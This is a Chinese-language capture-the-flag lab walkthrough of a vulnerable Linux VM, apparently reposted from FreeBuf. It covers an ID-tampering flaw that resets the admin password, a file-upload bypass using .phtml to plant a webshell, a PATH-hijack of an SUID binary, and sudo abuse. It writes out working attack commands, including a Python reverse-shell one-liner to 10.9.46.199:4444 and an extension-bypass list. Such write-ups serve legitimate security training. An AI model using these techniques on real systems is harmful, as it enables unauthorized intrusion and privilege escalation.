一 信息收集
1.nmap扫描
快速扫描
深度扫描
从nmap深度扫描中,我们知道80端口(http)开启,22(ssh)端口开启,服务器版本Apache2.4.41 ,系统为ubantu,内核为Linux
2.敏感目录扫描
扫描的目录不多,我们尽量都看看
3 查看网页源码
通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。
4.sqlmap注入测试
python sqlmap.py -r C:\Users\xlem0\Desktop\request.txt -p username,password --dbs --tamper=space2comment
在登陆界面,尝试进行简单的sqlmap测试发现似乎没有注入点,这里就暂且不继续对登陆也进行SQL注入测试了。
二 威胁建模
因为只开放了两个端口,所以首先从web端入手。根据测试靶机网站并没有robots.txt,因此只能通过访问主站来进行测试。
这里发现当进入页面后,有admin用户存在,我们猜测系统里存在admin用户。
而admin通常是管理员用户,这样我们的目标就比较明确了,看看能否通过普通用户来获取到admin管理员用户权限,我们先随便注册一个用户登录网站。
观察到有注册用户的选项,尝试进行注册用户,看看登陆后有没有类似于越权之类的漏洞。
我们注意到当注册成普通用户,登录页面上方有id号显示,那尝试修改id号,看能不能变成admin用户登录
使用burp抓包,修改id
在这里我们首先选择了抓修改密码这个包,因为我们虽然知道了用户的账号(admin),但是不知道邮箱,而修改密码这边只有一个变量,我们只需要修改密码或id就可以了
修改全部的id(直接以admin用户登录)
我们发现密码后跟着id号,我们猜测它是根据id号来对应密码,我们尝试修改以下id号,发现在repeater模块显示:密码修改成功,我们在proxy模块修改id号后,放包,这里修改完id提交之后显示密码更新成功的提示,我们来尝试登陆一下看看是不是改掉了admin的密码。
成功登录
登陆成功,也就是说这里确实存在着越权漏洞,可以利用普通用户来修改admin用户的密码。登陆到admin账户之后发现页面多了一个文件上传的功能,随便上传了一个txt文件发现上传成功了没有拦截,那我们来试试上传一个一句话木马看看能否成功得到shell。
我们发现有文件上传功能,我们先上传一个普通文件,观察它是否有过滤,能不能在页面源码显示上传路径
我们上传了一张png图片,发现上传成功,且有路径,路径正常
我们可以上传一句话木马(以png格式)
使用多种格式无果后,使用资源共享,发现发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无一失。
我们可以上传一句话木马,利用蚁剑进行连接
也可以利用php代码直接建立反弹shell
三 渗透测试
1.查询用户信息
2.查询系统内核
3.特殊权限
看来www-date用户没有特殊权限
4 suid权限
查看SUID程序:find / -perm -u=s -type f 2>/dev/null
根据查询结果,虽然有特殊文件,但是目前看不出什么具体信息。
5.查询敏感文件
从上述情况看来,我们需要提权,至少需要提到普通用户权限,正好我们看到toto文件的权限
说明其他用户可以执行这个文件,而且是以root用户的权限去执行这个文件。因此这里我们就可以利用toto来将www-data用户提权到john用户(根据/etc/passwd可以回到1001是john用户的uid)。
提权
在/tmp目录下创建一个伪造的id文件,并将shell命令写入,确保执行的时候会反弹shell
echo "/bin/bash -ip" > id
将id文件加入执行权限
chmod +x id `
将/tmp目录加入到环境变量的开头,这样当执行id命令的时候才会首先选择/tmp目录下的id命令文件
export PATH=/tmp:$PATH
执行toto
/home/john/toto
通过hydra暴力破解,发现darkhole,john的ssh账号密码都为root123
6.提权
john用户提权
我们发现john能利用root权限来执行一个python脚本,虽然权限少但是足以提权到root权限了。我们将反弹shell的命令写入到file.py中
import os,pty,socket;s=socket.socket();s.connect(("10.9.46.199",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
注意:利用python脚本的路径(sudo -l)已提供, /usr/bin/python3 /home/john/file.py,我们只需要在tmp目录下执行即可
sudo /usr/bin/python3 /home/john/file.py
darkhole提权
方法1
方法2
总结
思路:
我们通过bp抓包,修改id值,以普通用户越权拿到admin权限,利用文件上传漏洞进入服务器,通过服务器里的敏感文件(toto)转换到正常用户,通过sudo方式提权
手段:
1.链接访问内容(我们不管通过链接访问txt文件,还是jpg等图片文件,首先到其目录下,再看文件,这样有利于发现敏感信息)
2.熟练使用find命令,它是可以找文件的(find / -name 文件名)
3.提权方式(sudo)
难点:1.有敏感性,但敏感性不高(看到页面,我们可以猜到用户名,但不知道密码也在页面的某个信息里)
2.经验太少,不知道首先到其目录下,再看文件.(上述)
3.知道使用sudo提权(之前遇到过此类情况),但是不知道具体怎么做(使用资源共享)
收获:1.敏感性(1.这个靶机提供给我们的信息,登录页面我们一进去,有admin的用户,我们就应该猜到该网站页面有admin用户,2.登录的时候网站链接上面有id号,我们就应该猜测是否能通过修改id号修改用户权限(越权))
2.思路(拓宽了思路,知道有这样一种套路,具体流程,待总结)
思路总结:
1.因为只开放了两个端口,所以首先从web端入手。根据测试靶机网站并没有robots.txt,因此只能通过访问主站来进行测试。
2.通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。观察到有注册用户的选项,尝试进行注册用户,看看登陆后有没有类似于越权之类的漏洞。
3.而admin通常是管理员用户,这样我们的目标就比较明确了,看看能否通过普通用户来获取到admin管理员用户权限,我们先随便注册一个用户登录网站。
3.手段:我们可以用一句话木马(文件包含漏洞),利用蚁剑连接,也可以利用反弹shell,与服务器建立连接。
遇见登录页面,不仅只有爆破一种手段,还有burp抓包分析,还有页面框架漏洞分析(searchsploit,msf)
一句话木马并没有上传成功,可见还是有拦截的,根据之前上传成功了txt文档这里判断应该只是简单的文件后缀名拦截,
我们来尝试绕过。
Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
显示了源代码内容,因此并不能正确解析,也就是说大小写虽然成功的绕过了但是并不能被靶机解析,我们再来尝试一 其他的绕过。
发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无 一失。
找查带有suid或者sgid的文件,发现/home/john/toto 这个文件比较可以,而且这个文件其他用户都可以执行。
我们可以来分析一下这个文件的功能,通过scp将toto复制到本地简单逆向一下。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)